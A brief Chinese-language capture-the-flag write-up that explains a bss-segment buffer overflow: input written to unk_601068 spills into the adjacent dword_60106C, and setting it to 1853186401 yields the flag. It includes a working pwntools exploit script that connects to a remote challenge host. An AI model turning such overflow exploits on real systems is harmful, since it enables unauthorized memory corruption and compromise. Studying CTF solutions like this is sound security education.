可以发现只要dword_60106C == 1853186401就可以拿到flag
继续分析发现程序输入的值存储在unk_601068之中,而dword_60106C就在unk_601068之后,并且两个变量都存在于bss段(全局变量段),则可以考虑用unk_601068的输入溢出来更改dword_60106C的值。
from pwn import *
p = remote('111.198.29.45', 34428)
p.recvuntil("lets get helloworld for bof")
p.sendline("a" * 4 + p64(1853186401))
p.interactive()